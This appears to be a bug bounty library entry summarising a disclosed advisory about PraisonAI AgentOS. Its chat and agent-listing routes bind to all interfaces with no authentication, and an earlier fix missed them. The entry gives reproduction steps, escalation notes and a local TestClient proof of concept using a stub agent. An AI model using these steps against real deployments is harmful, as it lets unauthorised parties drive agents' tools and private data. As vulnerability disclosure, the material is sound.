# PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation

PraisonAI AgentOS registers GET /api/agents and POST /api/chat with no auth middleware and binds 0.0.0.0, letting any network client invoke deployed agents.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: rexpository
- Disclosed: 2026-06-18
- CVE: CVE-2026-57116
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-892r-p3jq-jp24
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-892r-p3jq-jp24
- Tags: area:ai domain:ai domain:api impact:integrity impact:internal-access kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** AgentOS FastAPI deployment surface (agentos.py routes)
**Root cause:** AgentOSConfig/AgentAppConfig defaults host to 0.0.0.0 with no auth fields, and _register_routes() registers /api/agents and /api/chat without any dependency, middleware, or bearer check; a wrong Authorization header is simply ignored.
**Steps:**
1. Instantiate `AgentApp(agents=[StubAgent(...)], config=AgentOSConfig(host="0.0.0.0", port=8000))` and get `app.get_app()` via FastAPI TestClient.
2. `GET /api/agents` returns 200 unauthenticated, leaking agent names/roles/instruction snippets.
3. `POST /api/chat` with `{"message": "no-auth"}` returns 200 and invokes `agent.chat(request.message)`.
4. `POST /api/chat` with header `Authorization: Bearer definitely-wrong` also returns 200 and invokes the agent.
5. Confirm side effects: stub agent writes both messages to a file, proving execution.
**How found:** Reporter noticed the prior advisory GHSA-pm96 patched at 4.5.128 but re-tested that tag, latest release and main; source review of agentos.py showed routes registered with no auth dependency, and a hardened sibling deploy API returning 401/401/200 served as a control proving the intended model.
**Exploitation:** Any client that can reach an AgentOS deployment on its default 0.0.0.0:8000 bind can enumerate agents and POST arbitrary messages to /api/chat, driving the deployed agent's tools, memory, private context, API integrations and model budget without credentials.
**Escalation:** Chaining agent invocation into downstream tool calls, private context reads, memory access, browser actions and cost-bearing model calls; impact scales with what the wrapped agent can do.
**Insight:** When a vendor publishes a patched version for an auth bug, re-run the PoC against that exact tag and against the sibling hardened surface as a control; here the fix only covered the generated deploy API, leaving the AgentOS/AgentApp alias routes and the 0.0.0.0 default untouched.

## Proof of concept (copied exactly from the original report)

**Inline reproducer: unauthenticated AgentOS chat invocation**

```
from pathlib import Path
from tempfile import TemporaryDirectory

from fastapi.testclient import TestClient
from praisonai import AgentApp
from praisonaiagents import AgentOSConfig

class StubAgent:
    name = "pov_agentos_agent"
    role = "tester"
    instructions = "private instruction marker"

    def __init__(self, out):
        self.out = out

    def chat(self, message):
        self.out.write_text(self.out.read_text() + message + "\n")
        return "PRAI_CAND_007_AGENTOS_EXECUTED:" + message

with TemporaryDirectory() as tmp:
    side_effect = Path(tmp) / "side_effects.txt"
    side_effect.write_text("")
    app = AgentApp(
        agents=[StubAgent(side_effect)],
        config=AgentOSConfig(host="0.0.0.0", port=8000),
    )
    client = TestClient(app.get_app())

    assert client.get("/api/agents").status_code == 200
    assert client.post("/api/chat", json={"message": "no-auth"}).status_code == 200
    assert client.post(
        "/api/chat",
        headers={"Authorization": "Bearer definitely-wrong"},
        json={"message": "wrong-bearer"},
    ).status_code == 200
    assert side_effect.read_text().splitlines() == ["no-auth", "wrong-bearer"]
```

**PoC run command with PYTHONPATH and uv**

```
env PYTHONPATH="artifacts/repos/praisonai-current/src/praisonai:artifacts/repos/praisonai-current/src/praisonai-agents" \
  uv run --with fastapi --with httpx --with flask --with flask-cors \
    --with pydantic --with typing-extensions --with rich --with python-dotenv \
    submission-bundle/praisonai-prai-cand-007-agentos-incomplete-auth-fix/poc/prai_cand_007_agentos_incomplete_auth_fix.py \
    --repo artifacts/repos/praisonai-current \
    --label current-head
```